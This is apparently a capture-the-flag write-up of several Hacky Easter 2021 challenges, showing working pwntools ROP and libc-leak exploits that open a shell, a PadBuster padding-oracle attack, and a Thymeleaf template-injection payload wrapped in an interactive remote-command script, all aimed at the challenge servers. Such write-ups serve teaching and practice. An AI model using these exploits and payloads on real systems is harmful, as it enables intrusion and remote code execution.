┌──(kali㉿kali)-[~/ctf/he21/29] └─$ ROPgadget --binary sailorsknot| grep ': ret' 0x0000000000400295 : ret ┌──(kali㉿kali)-[~/ctf/he21/29] └─$ ROPgadget --binary sailorsknot| grep ': pop rdi ; ret' 0x00000000004007bf : pop rdi ; ret

Now we have everthing we need to craft our exploit:

#!/usr/bin/env python3 from pwn import * offset = 40 system = 0x00400610 binsh = 0x006010b1 poprdi = 0x004007bf ropnop = 0x00400295 io = remote('46.101.107.117', 2112) expl = b'A'*offset expl += p64(ropnop) expl += p64(poprdi) expl += p64(binsh) expl += p64(system) io.sendlineafter('name!', expl) io.interactive()

Running the script successfully yields a shell:

┌──(kali㉿kali)-[~/ctf/he21/29] └─$ ./expl.py [+] Opening connection to 46.101.107.117 on port 2112: Done [*] Switching to interactive mode > Hi AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x95@, nice to meet you! $ id uid=1000(ctf) gid=1000(ctf) groups=1000(ctf) $ ls -al total 56 drwxr-xr-x 1 root root 4096 Mar 3 08:35 . drwxr-xr-x 1 root root 4096 Mar 3 08:34 .. -rw-r--r-- 1 root root 220 Apr 4 2018 .bash_logout -rw-r--r-- 1 root root 3771 Apr 4 2018 .bashrc -rw-r--r-- 1 root root 807 Apr 4 2018 .profile -rwxrwxr-x 1 root root 9008 Mar 3 08:34 challenge2 -rw-rw-r-- 1 root root 31 Mar 3 08:34 flag -rwxrwxr-x 1 root root 18744 Mar 3 08:34 ynetd $ cat flag he2021{s41l0r_r0p_f0r_pr0f1t}

The flag is he2021{s41l0r_r0p_f0r_pr0f1t}.


HE21.30 Pix FX

Level:7 (hard)
Category:Web, Crypto
Points:300
Author:PS
Hey there! We have our fancy new Pix FX service online!

Try it out!

http://46.101.107.117:2110

Note: The service is restarted every hour at x:00.

Hint

egg

On the provided website an image and an effect can be chosen:

Website

After submitting the selection a code is displayed:

Website

Clicking on show image leads to /picture?code=<CODE>, which displays the image with the applied effect:

Website

Beneath the popular FX codes there is one (41E5D00E5CECC3019834C99B403DE4B24933AF3087BCE219699D7E3EB178A06F7B4717A36C617760EC0AD8BFD5DF05B2), which displays the desired egg. Though the applied effect makes the QR code unrecognizable:

Website

When the code is changed slightly, we get a decryption error:

Website

Because of this I assumed that the application is probably vulernable to a padding oracle attack. HackyEaster 2018 also contained a challenge based on this attack.

In order to solve this without great effort, we can use PadBuster.

At first let’s decrypt the code from the egg. We simply provide the following to padbuster: the target URL, an encrypted sample (the code), the blocksize (16) and the encoding (2 = upper hex):

┌──(kali㉿kali)-[~/ctf/he21/30] └─$ padbuster 'http://46.101.107.117:2110/picture?code=41E5D00E5CECC3019834C99B403DE4B24933AF3087BCE219699D7E3EB178A06F7B4717A36C617760EC0AD8BFD5DF05B2' '41E5D00E5CECC3019834C99B403DE4B24933AF3087BCE219699D7E3EB178A06F7B4717A36C617760EC0AD8BFD5DF05B2' 16 -encoding 2 +-------------------------------------------+ | PadBuster - v0.3.3 | | Brian Holyfield - Gotham Digital Science | | labs@gdssecurity.com | +-------------------------------------------+ INFO: The original request returned the following [+] Status: 200 [+] Location: N/A [+] Content Length: 123120 INFO: Starting PadBuster Decrypt Mode *** Starting Block 1 of 2 *** INFO: No error string was provided...starting response analysis *** Response Analysis Complete *** The following response signatures were returned: ------------------------------------------------------- ID# Freq Status Length Location ------------------------------------------------------- 1 1 200 788 N/A 2 ** 255 200 792 N/A ------------------------------------------------------- Enter an ID that matches the error condition NOTE: The ID# marked with ** is recommended : 2 Continuing test with selection 2 [+] Success: (97/256) [Byte 16] [+] Success: (60/256) [Byte 15] [+] Success: (167/256) [Byte 14] [+] Success: (221/256) [Byte 13] [+] Success: (5/256) [Byte 12] [+] Success: (19/256) [Byte 11] [+] Success: (237/256) [Byte 10] [+] Success: (86/256) [Byte 9] [+] Success: (214/256) [Byte 8] [+] Success: (84/256) [Byte 7] [+] Success: (128/256) [Byte 6] [+] Success: (207/256) [Byte 5] [+] Success: (146/256) [Byte 4] [+] Success: (73/256) [Byte 3] [+] Success: (56/256) [Byte 2] [+] Success: (214/256) [Byte 1] Block 1 Results: [+] Cipher Text (HEX): 4933af3087bce219699d7e3eb178a06f [+] Intermediate Bytes (HEX): 3ac7b9633d8ba623a214ebfe275ac69e [+] Plain Text: {"image": "egg", Use of uninitialized value $plainTextBytes in concatenation (.) or string at /usr/bin/padbuster line 361, <STDIN> line 1. *** Starting Block 2 of 2 *** [+] Success: (147/256) [Byte 16] [+] Success: (95/256) [Byte 15] [+] Success: (136/256) [Byte 14] [+] Success: (56/256) [Byte 13] [+] Success: (241/256) [Byte 12] [+] Success: (168/256) [Byte 11] [+] Success: (96/256) [Byte 10] [+] Success: (189/256) [Byte 9] [+] Success: (156/256) [Byte 8] [+] Success: (117/256) [Byte 7] [+] Success: (46/256) [Byte 6] [+] Success: (19/256) [Byte 5] [+] Success: (165/256) [Byte 4] [+] Success: (60/256) [Byte 3] [+] Success: (226/256) [Byte 2] [+] Success: (135/256) [Byte 1] Block 2 Results: [+] Cipher Text (HEX): 7b4717a36c617760ec0ad8bfd5df05b2 [+] Intermediate Bytes (HEX): 6911ca56e1d9816d4ba75e0acc7ba36c [+] Plain Text: "effect": 4} ------------------------------------------------------- ** Finished *** [+] Decrypted value (ASCII): {"image": "egg", "effect": 4} [+] Decrypted value (HEX): 7B22696D616765223A2022656767222C2022656666656374223A20347D030303 [+] Decrypted value (Base64): eyJpbWFnZSI6ICJlZ2ciLCAiZWZmZWN0IjogNH0DAwM= -------------------------------------------------------

padbuster recovers the plaintext byte by byte. After a few seconds we get the full plaintext: {“image”: “egg”, “effect”: 4}.

In order to get an image of the egg with a less noisy effect, we choose effect 3. At first we need to encode the plaintext we want to encrypt:

>>> b'{"image": "egg", "effect": 3}'.hex().upper() '7B22696D616765223A2022656767222C2022656666656374223A20337D'

Now we can simpy provide it to padbuster and run it again:

┌──(kali㉿kali)-[~/ctf/he21/30] └─$ padbuster 'http://46.101.107.117:2110/picture?code=41E5D00E5CECC3019834C99B403DE4B24933AF3087BCE219699D7E3EB178A06F7B4717A36C617760EC0AD8BFD5DF05B2' '41E5D00E5CECC3019834C99B403DE4B24933AF3087BCE219699D7E3EB178A06F7B4717A36C617760EC0AD8BFD5DF05B2' 16 -encoding 2 -encodedtext 7B22696D616765223A2022656767222C2022656666656374223A20337D +-------------------------------------------+ | PadBuster - v0.3.3 | | Brian Holyfield - Gotham Digital Science | | labs@gdssecurity.com | +-------------------------------------------+ INFO: The original request returned the following [+] Status: 200 [+] Location: N/A [+] Content Length: 123120 INFO: Starting PadBuster Encrypt Mode [+] Number of Blocks: 2 INFO: No error string was provided...starting response analysis *** Response Analysis Complete *** The following response signatures were returned: ------------------------------------------------------- ID# Freq Status Length Location ------------------------------------------------------- 1 1 200 788 N/A 2 ** 255 200 792 N/A ------------------------------------------------------- Enter an ID that matches the error condition NOTE: The ID# marked with ** is recommended : 2 Continuing test with selection 2 [+] Success: (158/256) [Byte 16] [+] Success: (70/256) [Byte 15] [+] Success: (74/256) [Byte 14] [+] Success: (159/256) [Byte 13] [+] Success: (105/256) [Byte 12] [+] Success: (54/256) [Byte 11] [+] Success: (114/256) [Byte 10] [+] Success: (169/256) [Byte 9] [+] Success: (201/256) [Byte 8] [+] Success: (97/256) [Byte 7] [+] Success: (114/256) [Byte 6] [+] Success: (164/256) [Byte 5] [+] Success: (119/256) [Byte 4] [+] Success: (132/256) [Byte 3] [+] Success: (167/256) [Byte 2] [+] Success: (111/256) [Byte 1] Block 2 Results: [+] New Cipher Text (HEX): a17417e236e0f64a7db3eca118b6bb60 [+] Intermediate Bytes (HEX): 815672845085953e5f89cc9265b5b863 [+] Success: (217/256) [Byte 16] [+] Success: (165/256) [Byte 15] [+] Success: (35/256) [Byte 14] [+] Success: (169/256) [Byte 13] [+] Success: (35/256) [Byte 12] [+] Success: (6/256) [Byte 11] [+] Success: (55/256) [Byte 10] [+] Success: (173/256) [Byte 9] [+] Success: (190/256) [Byte 8] [+] Success: (76/256) [Byte 7] [+] Success: (167/256) [Byte 6] [+] Success: (134/256) [Byte 5] [+] Success: (199/256) [Byte 4] [+] Success: (4/256) [Byte 3] [+] Success: (215/256) [Byte 2] [+] Success: (213/256) [Byte 1] Block 1 Results: [+] New Cipher Text (HEX): 40049b591735db6961eedebd34b97b0a [+] Intermediate Bytes (HEX): 3b26f2347652be4b5bcefcd853de5926 ------------------------------------------------------- ** Finished *** [+] Encrypted value is: 40049B591735DB6961EEDEBD34B97B0AA17417E236E0F64A7DB3ECA118B6BB6000000000000000000000000000000000 -------------------------------------------------------

The result is the encrypted value, which we can now use as a code:

Egg

This time we can scan the QR code:

┌──(kali㉿kali)-[~/ctf/he21/30] └─$ zbarimg egg.jpeg QR-Code:he2021{fl1pp1n_da_b1ts_gr34t_succ355} scanned 1 barcode symbols from 1 images in 0.02 seconds

The flag is he2021{fl1pp1n_da_b1ts_gr34t_succ355}.


HE21.31 Hunny Bunny

Level:7 (medium)
Category:Crypto
Points:200
Author:khae
hunnybunny loves music! Can you figure out what else he loves?

4ab56415e91e6d5172ee79d9810e30be5da8af18
c19a3ca5251db76b221048ca0a445fc39ba576a0
fdb2c9cd51459c2cc38c92af472f3275f8a6b393
6d586747083fb6b20e099ba962a3f5f457cbaddb
5587adf42a547b141071cedc7f0347955516ae13

flag format: he2021{lowercaseonlynospaces}

Hint

- The values can be cracked, but they need to be changed somehow first.
- One of the values represents the flag prefix.

SHA1 produces an output very similar to one of the values from the list when calculated for the beginning of the flag (he2021{):

┌──(kali㉿kali)-[~/ctf/he21/31] └─$ echo -n 'he2021{'|sha1sum 4de56415b91b6a5172bb79a9810b30eb5ad8dc18 -

Comparing it with the value from the list shows the following differences:

┌──(kali㉿kali)-[~/ctf/he21/31] └─$ echo -n 'he2021{'|sha1sum;echo 4ab56415e91e6d5172ee79d9810e30be5da8af18 4de56415b91b6a5172bb79a9810b30eb5ad8dc18 - 4ab56415e91e6d5172ee79d9810e30be5da8af18

It seems that the following values are swapped:

a <-> d b <-> e c <-> f

We can use the following script to reverse this modification (just swap the values again):

#!/usr/bin/env python3 def change_hash(h): r = '' for c in h: if (c == 'a'): r += 'd' elif (c == 'b'): r += 'e' elif (c == 'c'): r += 'f' elif (c == 'd'): r += 'a' elif (c == 'e'): r += 'b' elif (c == 'f'): r += 'c' else: r += c return r hashes = ['4ab56415e91e6d5172ee79d9810e30be5da8af18', 'c19a3ca5251db76b221048ca0a445fc39ba576a0', 'fdb2c9cd51459c2cc38c92af472f3275f8a6b393', '6d586747083fb6b20e099ba962a3f5f457cbaddb', '5587adf42a547b141071cedc7f0347955516ae13'] for h in hashes: print(change_hash(h))

Running the script should output the actual SHA1 hashes:

┌──(kali㉿kali)-[~/ctf/he21/31] └─$ ./swap0r.py 4de56415b91b6a5172bb79a9810b30eb5ad8dc18 f19d3fd5251ae76e221048fd0d445cf39ed576d0 cae2f9fa51459f2ff38f92dc472c3275c8d6e393 6a586747083ce6e20b099ed962d3c5c457fedaae 5587dac42d547e141071fbaf7c0347955516db13

Now we can for example use CrackStation to crack these hashes:

Cracked

The only hash not cracked is the flag prefix.

By concatenating the substrings we get the flag:

The flag is he2021{hunnybunnyilovemumsomuch!}.


HE21.32 Two Yolks

Level:7 (medium)
Category:Forensics
Points:200
Author:PS
This egg has two yolks.

But the second seems to be hidden somehow.


Using pngcheck we can see that the image is using a palette with 33 entries:

┌──(kali㉿kali)-[~/ctf/he21/32] └─$ pngcheck -v twoyolks.png File: twoyolks.png (31389 bytes) chunk IHDR at offset 0x0000c, length 13 1024 x 1024 image, 8-bit palette, non-interlaced chunk PLTE at offset 0x00025, length 99: 33 palette entries chunk tRNS at offset 0x00094, length 11: 11 transparency entries chunk IDAT at offset 0x000ab, length 13903 zlib: deflated, 32K window, maximum compression chunk YHDR at offset 0x03706, length 0: illegal (unless recently approved) unknown, public chunk ERRORS DETECTED in twoyolks.png

In order to get the pixel data, we can use binwalk:

┌──(kali㉿kali)-[~/ctf/he21/32] └─$ binwalk --extract twoyolks.png DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 PNG image, 1024 x 1024, 8-bit colormap, non-interlaced 175 0xAF Zlib compressed data, best compression 14353 0x3811 Zlib compressed data, best compression

The decompressed zlib data contains the pixel data, which is simply one value from the palette for each pixel:

┌──(kali㉿kali)-[~/ctf/he21/32] └─$ hexdump -C _twoyolks.png.extracted/3811 | head 00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| * 000001e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 03 |................| 000001f0 0c 0a 05 05 08 04 04 06 06 09 09 07 07 07 0b 0f |................| 00000200 0f 0f 0f 0b 07 07 07 09 09 06 06 04 04 08 05 05 |................| 00000210 0a 0c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000220 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| * 000005e0 00 00 00 00 00 00 00 00 00 0c 0a 05 04 06 09 0b |................| 000005f0 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f |................|

I used the following script to display only pixel with a certain value from the palette. The script iteraters through the raw pixel data and creates an corresponding PIL.Image:

#!/usr/bin/env python3 import sys from PIL import Image n = int(sys.argv[1]) img = Image.new('RGB', (1025,1024)) data = [] ct = open('_twoyolks.png.extracted/3811','rb').read() for c in ct: if (c == n): data.append((0,0,0)) else: data.append((255,255,255)) img.putdata(data) img.save('out.png')

The palette entry 15 turned out to be a good choice:

┌──(kali㉿kali)-[~/ctf/he21/32] └─$ ./extract0r.py 15

┌──(kali㉿kali)-[~/ctf/he21/32] └─$ display out.png

Egg

┌──(kali㉿kali)-[~/ctf/he21/32] └─$ zbarimg out.png QR-Code:he2021{tw0_y0lks_are_gre33eat} scanned 1 barcode symbols from 1 images in 0.05 seconds

The flag is he2021{tw0_y0lks_are_gre33eat}.


HE21.33 Finding Mnemo

Level:8 (hard)
Category:Crypto
Points:300
Author:PS
Dorie has forgotten everything again... Luckily, there is a backup:

adapt    3555  
bind     824e  
bless    8fcf  
blind    81db  
civil    03ec  
craft    ed05  
garage   9db4  
good     d2ba  
half     1272   
hip      8d53  
home     21b7  
hotel    1cb0  
lonely   e5b8  
magnet   16b9  
metal    770e  
mushroom dd80  
napkin   0829  
reason   ecd3  
rescue   5ef2  
ring     e3b0  
shift    4ea1  
small    f1f6  
sunset   b271  
tongue   f08d  

Googling for the words in the first column reveals that we are probably dealing with BIP39.

BIP39 is basically a mapping between words and 11 bit values. Here and here are good descriptions.

In order to determine the 11 bit value of a word, we need to find its position within the BIP39 wordlist and convert the index to a 11 bit value.

The second important insight is that the values in the second column are the beginning of the sha256 hash of the words. Though not of the word in the same row, but in another row:

For example adapt

┌──(kali㉿kali)-[~/ctf/he21/33] └─$ echo -n adapt|sha256sum f1f61cc7216e18012d97bcfc33ae7a69995846c612b317073bff4e4cd52fd353 -

… matches the value from small:

small f1f6

Or bind

┌──(kali㉿kali)-[~/ctf/he21/33] └─$ echo -n bind|sha256sum f08dd851c430f52f3fbe9692678a2e2c3cf9009035a13a5cf080ce9ed2125ce9 -

… matches the value from tongue:

tongue f08d

What is also noticable here, is that the value from ring

ring e3b0

… seems to match the SHA256 hash of the empty string:

┌──(kali㉿kali)-[~/ctf/he21/33] └─$ echo -n |sha256sum e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 -

Accordingly there must be one word, whose SHA256 is not present. This word is half.

In order to get the flag we need to find the correct order of the words and determine the corresponding 11 bit value for each of them. The result is a long bit string, which only needs to be converted to ASCII to get the flag.

The reason for the SHA256 of half not being present is that half is the first word (similarly we can assume that ring is the last word).

In order to determine the second word, we use the value in the second column of half: 1272. This is the beginning of the SHA256 hash of civil. Thus civil is the next word. We proceed this until the end (word ring).

The following script automates the whole process:

#!/usr/bin/env python3 import hashlib bip39 = open('english.txt').read().split('\n') words = [('adapt','3555'),('bind','824e'),('bless','8fcf'),('blind','81db'),('civil','03ec'),('craft','ed05'),('garage','9db4'),('good','d2ba'),('half','1272'),('hip','8d53'),('home','21b7'),('hotel','1cb0'),('lonely','e5b8'),('magnet','16b9'),('metal','770e'),('mushroom','dd80'),('napkin','0829'),('reason','ecd3'),('rescue','5ef2'),('ring','e3b0'),('shift','4ea1'),('small','f1f6'),('sunset','b271'),('tongue','f08d')] def get_11bit(w): n = bip39.index(w) return format(n, '#013b')[2:] def get_next_word(h): for w in words: m = hashlib.sha256() m.update(w[0].encode()) if (m.hexdigest()[:4] == h): return w def bit_str_to_ascii(s): r = '' for i in range(0, len(s), 8): r += chr(int(s[i:i+8],2)) return r w = ('half','1272') bit_str = '' for i in range(len(words)-1): bit_str += get_11bit(w[0]) w = get_next_word(w[1]) print(w[0]) print(bit_str_to_ascii(bit_str))

Running the script yields the flag:

┌──(kali㉿kali)-[~/ctf/he21/33] └─$ ./solv0r.py civil metal good bless reason shift home garage napkin sunset tongue bind rescue mushroom hip hotel lonely blind small adapt craft magnet ring he2021{f1sh_r_fr1ends_n0t_f00d!

The flag is he2021{f1sh_r_fr1ends_n0t_f00d!}.


HE21.34 The Five Seasons

Level:8 (hard)
Category:Web
Points:300
Author:PS
Did you know there were five seasons?

Find the flag file!

http://46.101.107.117:2111

Note: The service is restarted every hour at x:00.

Hint

The 🐟 is just a trap 😼

A hint is hiding in one of the poems.

On the provided website one of five seasons can be selected:

Website

The page of each season contains a poem:

Website

When providing a non-existing season in the GET-parameter (e.g. xx), an error is displayed stating that the template page-xx was not found:

Website

According to the hint we should look for a hint in one of the poems. In order to do this I downloaded the original poems and compared them with the poems on the page. This yield the following difference:

┌──(kali㉿kali)-[~/ctf/he21/34] └─$ diff sp.txt sp_on.txt 6c6 < In the blossom-robed Thyme Leaves; --- > In the blossom-robed trees;

The word trees from the original poem were replaced by Thyme Leaves.

Combining this with the error message suggests that we are dealing with a Thyme Leaves SSTI.

By googling a little bit I came upon this blog post, which describes this kind of vulernability and also provides a payload to execute OS commands:

__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22whoami%22).getInputStream()).next()%7d__::.x

We can directly use this payload in the GET-parameter season:

Website

It might not be too obvious at first, but we actually executed the command whoami. The result is displayed in the template name: seasons.

After testing different commands it turned out that the response will only contain characters until the first whitespace. If we e.g. run ls, we only see the first file in the response:

Website

Also a pipe (|) cannot be used directly in the command String.

When initially solving the challenge, I verified that the file flag.txt exists by running ls flag.txt:

Website

In order to output in we can use base64 -w0 flag.txt:

Website

Now we only need to decode it:

┌──(kali㉿kali)-[~/ctf/he21/34] └─$ echo d2VsbCBkb25lLCBoZXJlIGlzIHlvdXIgZmxhZzogaGUyMDIxe1NwcjFuZ18xc19teV9mNHZydF9zMzRzbiF9|base64 -d well done, here is your flag: he2021{Spr1ng_1s_my_f4vrt_s34sn!}

Though it is also possible to run arbitrary commands and get the full output.

For this to work a String array like {“sh”,”-c”,”ls|base64″} must be provided to getRuntime().exec.

The following script does this:

#!/usr/bin/env python3 import requests from base64 import b64decode def run_cmd(cmd): url = 'http://46.101.107.117:2111/season?season=' url += '__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(new String[]{"sh","-c","'+cmd+'|base64 -w0"}).getInputStream()).next()}__::i.x ' r = requests.get(url) return b64decode(r.text.split('[page-')[1].split('], ')[0]).decode() while True: c = input('> ') print(run_cmd(c))

This way it is a little bit more comfortable to run commands:

┌──(kali㉿kali)-[~/ctf/he21/34] └─$ ./shell0r.py 1 ⨯ > id uid=999(seasons) gid=999(seasons) groups=999(seasons) > ls -al total 19440 drwxr-xr-x 1 root root 4096 Mar 2 13:23 . drwxr-xr-x 1 root root 4096 Apr 15 09:01 .. -rwxr-xr-x 1 root root 19888619 Mar 2 13:23 app.jar -rwxr-xr-x 1 root root 63 Mar 2 13:23 flag.txt -rwxr-xr-x 1 root root 41 Mar 2 13:23 start.sh > cat flag.txt well done, here is your flag: he2021{Spr1ng_1s_my_f4vrt_s34sn!}

The flag is he2021{Spr1ng_1s_my_f4vrt_s34sn!}.


HE21.35 The Snake

Level:8 (hard)
Category:Crypto
Points:300
Author:PS
Cunning snake has a little riddle for you:

21{_inake0dltn_2olospena__iht_fthet!}

Hint

- It's a self-made algorithm, not one you'll find in the web.
- Look at the snake in the title image.

It was quite challenging to find the correct pattern. Thanks to daubsi for a heads-up.

I ended up with this:

DIRECTION CHARACTERS SUBSTRING ------------------------------------------------------------- 21{_inake0dltn_2olospena__iht_fthet!} <- 3 2 1 0 he20 -> 456 7 8 9 abc 21{dont_f <- f e d all -> 012 3 4 5 678 _into_the <- b a 9 _sn -> cde f 0 1 234 ake_pit!}

The flag is he2021{dont_fall_into_the_snake_pit!}.


HE21.36 Doldrums

Level:8 (hard)
Category:Pwn
Points:300
Author:daubsi
Without wind, no ship can sail.

This one is really secure. I promise!

nc 46.101.107.117 2113

Get a shell and read the flag.

Note: The service is restarted every hour at x:00.

doldrums

Hint

Ubuntu 18.04 64 Bit

The setting for this last pwn binary was a little bit different mainly because we are dealing with a 32-bit ELF file, which is stripped. Again it is dynamically linked, without canaries, nx enabled, no pic and partial relro:

┌──(kali㉿kali)-[~/ctf/he21/36] └─$ file doldrums doldrums: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=d035ad0d34a664be7426cd2196a55c38438e19cc, stripped ┌──(kali㉿kali)-[~/ctf/he21/36] └─$ r2 -A doldrums [x] Analyze all flags starting with sym. and entry0 (aa) [x] Analyze function calls (aac) [x] Analyze len bytes of instructions for references (aar) [x] Check for objc references [x] Check for vtables [x] Type matching analysis for all functions (aaft) [x] Propagate noreturn information [x] Use -AA or aaaa to perform additional experimental analysis. [0x080484d0]> iI arch x86 baddr 0x8048000 binsz 5928 bintype elf bits 32 canary false class ELF32 compiler GCC: (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0 crypto false endian little havecode true intrp /lib/ld-linux.so.2 laddr 0x0 lang c linenum false lsyms false machine Intel 80386 maxopsz 16 minopsz 1 nx true os linux pcalign 0 pic false relocs false relro partial rpath NONE sanitiz false static false stripped true subsys linux va true

Since the binary is stripped, I used ghidra this time, which makes it a little bit more comfortable.

At first we search for the entry function. The function passed to the call to __libc_start_main is the actual main function (I already renamed it here):

Pwn

Within the main function we can see that yet again the unsafe gets is used:

Pwn

Since there are no stack canaries, we can use this to overflow the return address on the stack.

Let’s begin by determining the offset to the return address again:

┌──(kali㉿kali)-[~/ctf/he21/36] └─$ gdb ./doldrums Reading symbols from ./doldrums... (No debugging symbols found in ./doldrums) gdb-peda$ pattern_create 200 /tmp/pattern Writing pattern of 200 chars to filename "/tmp/pattern" gdb-peda$ r < /tmp/pattern Starting program: /home/kali/ctf/he21/36/doldrums < /tmp/pattern Welcome! Here is a nice rime of the poet Samuel Taylor Coleridge for you! Please press a key to continue! [Attaching after process 45833 vfork to child process 45837] [New inferior 2 (process 45837)] [Detaching vfork parent process 45833 after child exit] ------------------------------------------------------- Hear the rime of the ancient mariner See his eye as he stops one of three Memmerizes one of the wedding guests Stay here and listen to the nightmates of the sea ... More info? https://en.wikipedia.org/wiki/The_Rime_of_the_Ancient_Mariner [Inferior 1 (process 45833) detached] [Inferior 2 (process 45837) exited with code 0177] Warning: not running

Ouh? We did not crash the program? The program forked due to the call to system. By default gdb follows the child:

gdb-peda$ show follow-fork-mode Debugger response to a program call of fork or vfork is "child".

We adjust the behavior by setting follow-fork-mode to parent:

gdb-peda$ set follow-fork-mode parent

Now we can input the pattern again:

gdb-peda$ r < /tmp/pattern Starting program: /home/kali/ctf/he21/36/doldrums < /tmp/pattern Welcome! Here is a nice rime of the poet Samuel Taylor Coleridge for you! Please press a key to continue! [Detaching after vfork from child process 46194] ------------------------------------------------------- Hear the rime of the ancient mariner ... Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] EAX: 0x0 EBX: 0x41417341 ('AsAA') ECX: 0x51c EDX: 0xffffffff ESI: 0xf7fb0000 --> 0x1e4d6c EDI: 0xf7fb0000 --> 0x1e4d6c EBP: 0x24414142 ('BAA$') ESP: 0xffffd190 ("ACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AA...") EIP: 0x416e4141 ('AAnA') EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] Invalid $PC address: 0x416e4141 [------------------------------------stack-------------------------------------] 0000| 0xffffd190 ("ACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3A...") 0004| 0xffffd194 ("-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAA...") 0008| 0xffffd198 ("AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4...") 0012| 0xffffd19c ("A;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJA...") 0016| 0xffffd1a0 (")AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA...") 0020| 0xffffd1a4 ("AAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAK...") 0024| 0xffffd1a8 ("A0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgA...") 0028| 0xffffd1ac ("FAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AA...") [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x416e4141 in ?? ()

At this time we stayed following the parent and can observe the crash. The instruction pointer was overwritten by the pattern. Let’s determine the offset:

gdb-peda$ pattern_offset 0x416e4141 1097744705 found at offset: 13

Accordingly the offset from the beginning of our input to the return address is 13.

The strategy for a straightforward exploitation consists of two steps. At first we leak a few function addresses, in order to determine the libc version running on the target server. In the second step (the actual exploit) we leak one function address again (e.g. from puts), calculate the libc base address (we know the offset of puts, since we know the libc version), jump back to the main function, in order to be able to exploit the vulnerability a second time. This time we overwrite the return address with a one_gadget.

At first let’s leak the address of puts. In order to do this we overwrite the return address with PLT entry of puts and provide the GOT entry of it as the first argument. This will effectively call puts(&puts_got) printing the contents of the GOT entry.

Both required address can be determined using gdb:

gdb-peda$ p 'puts@plt' $1 = {<text variable, no debug info>} 0x8048480 <puts@plt> gdb-peda$ p &'puts@got.plt' $5 = (<text from jump slot in .got.plt, no debug info> *) 0x804a020 <puts@got.plt>

The script looks like this:

#!/usr/bin/env python3 from pwn import * offset = 13 puts_plt = 0x08048480 puts_got = 0x804a020 io = remote('46.101.107.117', 2113) expl = b'A'*offset expl += p32(puts_plt) expl += b'JUNK' expl += p32(puts_got) io.sendline(expl) io.recvuntil('Mariner\n\n') r = io.recv(4) io.close() leak = int.from_bytes(r, 'little') log.info('leak: ' + hex(leak))

Running the script outputs the absolute address of puts:

┌──(kali㉿kali)-[~/ctf/he21/36] └─$ ./leak.py [+] Opening connection to 46.101.107.117 on port 2113: Done [*] Closed connection to 46.101.107.117 port 2113 [*] leak: 0xf7dbf460

In order to further narrow down the possible libc version, we use a second function (gets):

... gets_got = 0x804a010 ... expl = b'A'*offset expl += p32(puts_plt) expl += b'JUNK' expl += p32(gets_got) ...

Running the adjusted script outputs the absolute address of gets:

┌──(kali㉿kali)-[~/ctf/he21/36] └─$ ./leak.py [+] Opening connection to 46.101.107.117 on port 2113: Done [*] Closed connection to 46.101.107.117 port 2113 [*] leak: 0xf7d84be0

With those two addresses we can use a libc database search, in order to determine the libc version running on the server:

Libc

Accordingly the server is using libc6-i386_2.27-3ubuntu1.4_amd64.

How does this work? The leaked addresses are influenced by ASLR. This also means that they change every time we run the leak script. Though ASLR does not influence the whole address but only 12 bits of it (assuming 32-bit). We can see this by running ldd a few times:

┌──(kali㉿kali)-[~/ctf/he21/36] └─$ ldd doldrums|grep libc libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7d55000) ┌──(kali㉿kali)-[~/ctf/he21/36] └─$ ldd doldrums|grep libc libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7d65000) ┌──(kali㉿kali)-[~/ctf/he21/36] └─$ ldd doldrums|grep libc libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7cf7000) ┌──(kali㉿kali)-[~/ctf/he21/36] └─$ ldd doldrums|grep libc libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7cd5000)

The least significant 12 bits of the absolute address of a function will thus stay always the same. Though these 12 bits vary depending on the libc version and can thus be used to narrow down the possible version. That is what the libc database search does.

We can directly download the identified libc from the page:

┌──(kali㉿kali)-[~/ctf/he21/36] └─$ wget https://libc.blukat.me/d/libc6-i386_2.27-3ubuntu1.4_amd64.so ... Length: 1926828 (1.8M) [application/octet-stream] Saving to: ‘libc6-i386_2.27-3ubuntu1.4_amd64.so’

With the libc at hand we can identify all one_gadgets within it:

